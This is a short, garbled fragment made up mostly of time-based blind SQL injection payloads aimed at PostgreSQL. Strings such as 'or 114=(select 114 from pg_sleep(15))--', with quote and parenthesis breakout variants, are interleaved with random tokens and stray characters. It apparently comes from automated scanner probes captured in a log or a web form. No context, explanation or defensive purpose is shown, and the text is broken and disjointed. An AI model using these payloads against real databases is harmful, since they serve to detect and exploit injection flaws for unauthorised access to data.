1)) or 114=(select 114 from pg_sleep(15)) 超     1)) or 114=(select 114 from pg_sleep(15))-超     4edteryc') or 138=(select 138 from pg_sleep(15))-     483     5 or 799=(select 799 from pg_sleep(15))-     yfifwpwh') or 165=(select 165 from pg_sleep(15))-     1)) or 717=(select 717 from pg_sleep(15))-     miaa-483     5l3tqfhm' or 223=(select 223 from pg_sleep(15))-